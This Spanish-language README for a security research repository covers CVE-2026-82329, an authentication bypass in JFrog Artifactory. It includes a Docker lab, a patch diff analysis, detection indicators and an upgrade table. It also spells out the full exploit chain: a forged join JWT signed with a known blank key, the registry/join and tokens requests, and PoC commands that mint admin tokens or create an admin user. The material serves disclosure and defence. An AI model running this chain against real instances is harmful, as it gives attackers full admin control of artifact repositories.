Laboratorio Docker reproducible y PoC en Python para CVE-2026-82329, una omisión de autenticación no autenticada en JFrog Artifactory que conduce a la toma de control del administrador, con análisis de diff de parches y guía de detección.
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · divulgado el 2026-08-28 · explotado activamente.
Un atacante no autenticado y adyacente a la red genera un token de acceso de administrador de plataforma contra una instancia JFrog Artifactory autoalojada por defecto. Este directorio contiene un laboratorio Docker reproducible y un PoC validador parametrizado por URL.
Reproducido y verificado A/B en artifactory-oss 7.161.19 (vulnerable, JFrog Access 7.191.11)
frente a 7.161.20 (parcheado, JFrog Access 7.191.14).
La causa raíz fue derivada del propio parche del proveedor (diff de bytecode del servicio JFrog Access de código cerrado entre las dos imágenes de contenedor) y luego probada en vivo — no tomada de ningún informe de terceros.
getSigningKey("") =
= — un secreto completamente conocido. Así que
cualquiera puede firmar un JWT de join válido (, , reciente,
cualquier , ).pkcs7(<vacío>, 32)0x20alg=HS256kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — sin autenticación) →
HTTP 201, devuelve un token SERVICE con alcance admin (audiencia = Access).POST /access/api/v1/tokens con ese token, scope=applied-permissions/admin&audience=*
→ un token de acceso de administrador de plataforma completo (este es el comportamiento de
"generación de tokens de administrador" reportado en la naturaleza).$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Paso 1 /registry/join -> HTTP 201 token SERVICE generado (scp=admin)
[+] Paso 2 /access/api/v1/tokens -> HTTP 200 token ADMIN (scp=applied-permissions/admin, aud=*)
[+] Paso 3 prueba de capacidad de administrador:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, solo admin; sin auth=401)
GET /access/api/v1/tokens (lista TODOS los tokens) -> HTTP 200 (solo admin)
[=] VULNERABLE - un atacante no autenticado obtuvo ADMIN en esta instancia (CVE-2026-82329).
JFrog Access 7.191.11 → 7.191.14 cambió exactamente 12 clases. Las relevantes para la seguridad:
JoinKeyAccess.tryResolveJoinKeys()// VULNERABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" permitido
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // clave en blanco añadida al conjunto de confianza
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// PARCHEADO (7.191.14) -> las entradas en blanco se filtran
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
Sin join keys adicionales configuradas (el valor por defecto), el valor de configuración es "";
"".split(",") produce [""], por lo que un JoinKeyHashPair en blanco (kid = SHA256("") =
e3b0c442…b855) entra en el mapa de "join keys adicionales" de confianza. JoinKeyHashPair también
fue endurecido para rechazar null/blank en el constructor.
Confirmado en la instancia por defecto en vivo — registro de inicio del servidor:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
Ese kid es exactamente SHA256("").
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// relleno pkcs7 de una clave VACÍA: padLength = 32 -> 32 bytes, cada uno == (byte)32 == 0x20
Así que el JWT de join para la clave en blanco se firma con HS256 sobre 32 bytes de 0x20 — conocido por el atacante.
RegistryNoAuthResource (@Path("/v1/registry"), sin @Authorized):
@POST @Path("join")
public Response join(String jwtStr) { // cuerpo = el JWT crudo
JwtToken token = this.joinService.join(jwtStr, ...); // valida: iat reciente (<30s) + firma de join key
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
Un token de acceso firmado RSA, sin caducidad, con alcance de administrador. El token de servicio
scope("admin") puede entonces generar un token de usuario completo applied-permissions/admin vía
POST /access/api/v1/tokens.
ProjectResourceDos endpoints pasaron de @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN)
(GET/DELETE {projectKey}/resources), confirmando que la primitiva de explotación es una identidad
SERVICE falsificada y que la superficie autorizada por SERVICE estaba sobreexpuesta.
Solo autoalojado (la nube ya está parcheada). Vulnerable ≤ la última versión en cada rama a continuación; actualiza al fix emparejado:
| Rama | Vulnerable ≤ | Corregida |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
El fix incluye JFrog Access 7.191.14.
Consulta lab/README.md. En resumen:
cd lab
ART_VER=7.161.19 docker compose up -d # vulnerable (por defecto); espera ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VULNERABLE
docker compose down
ART_VER=7.161.20 docker compose up -d # control parcheado
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NO VULNERABLE (join HTTP 400)
Artifactory 7.161.x requiere PostgreSQL (su servicio Access rechaza el Derby incluido), por lo que el laboratorio incluye un sidecar de postgres.
python3 poc/cve_2026_82329_poc.py http://<host-artifactory>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # cambio de estado Pro/Ent
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # imprime un token de administrador
Apúntalo a lo que sea que sirva como front-end del JFrog Router (/access/… accesible). Reporta
VULNERABLE (administrador obtenido) o NO VULNERABLE (join rechazado). Ejecuta solo contra
sistemas que estés autorizado a probar.
POST /access/api/v1/registry/join desde hosts que no son
de clúster, especialmente seguido inmediatamente por POST /access/api/v1/tokens.Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
significa que la join key en blanco es confiable (presente en valores por defecto sin parchear).scope=applied-permissions/admin, audience=*, o tokens de administrador con sujeto de servicio
(sub=<svc>, scp=admin, aud=<access-id>).kid sea igual a SHA256("") (e3b0c442…b855).Actualiza a la versión corregida para tu rama (tabla anterior). Adicionalmente: coloca Artifactory
detrás de un proxy inverso que no exponga /access/api/v1/registry/** a redes no confiables, y rota
la join key + revoca tokens de administrador inesperados después de parchear.
Artefactos en este directorio: poc/ (validador), lab/ (laboratorio Docker), analysis/ (diffs
de parche + evidencia decompilada), EVIDENCE.md (salida de ejecución capturada). Solo para
investigación de seguridad autorizada.